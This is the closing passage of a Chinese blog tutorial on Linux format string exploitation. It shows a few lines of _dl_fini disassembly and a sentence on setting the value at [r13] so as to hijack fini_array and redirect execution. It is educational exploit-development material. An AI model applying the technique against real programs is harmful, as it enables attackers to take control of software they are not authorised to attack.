0x7ff6e56acce5 <_dl_fini+421> mov rcx, qword ptr [r13]
0x7ff6e56acce9 <_dl_fini+425> mov rax, qword ptr [rax + 8]
0x7ff6e56acced <_dl_fini+429> add rcx, r15 <__do_global_dtors_aux_fini_array_entry>

r13 的值为一个指针,该指针在 printf 执行的栈上存在,可以控制 [r13]target_ptr - fini_array_addr 从而劫持 fini_array

  • Title: linux 格式化字符串利用
  • Author: sky123
  • Created at : 2024-11-08 03:13:03
  • Updated at : 2025-01-01 17:00:18
  • Link: https://skyi23.github.io/2024/11/08/linux-format-string-exploit/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments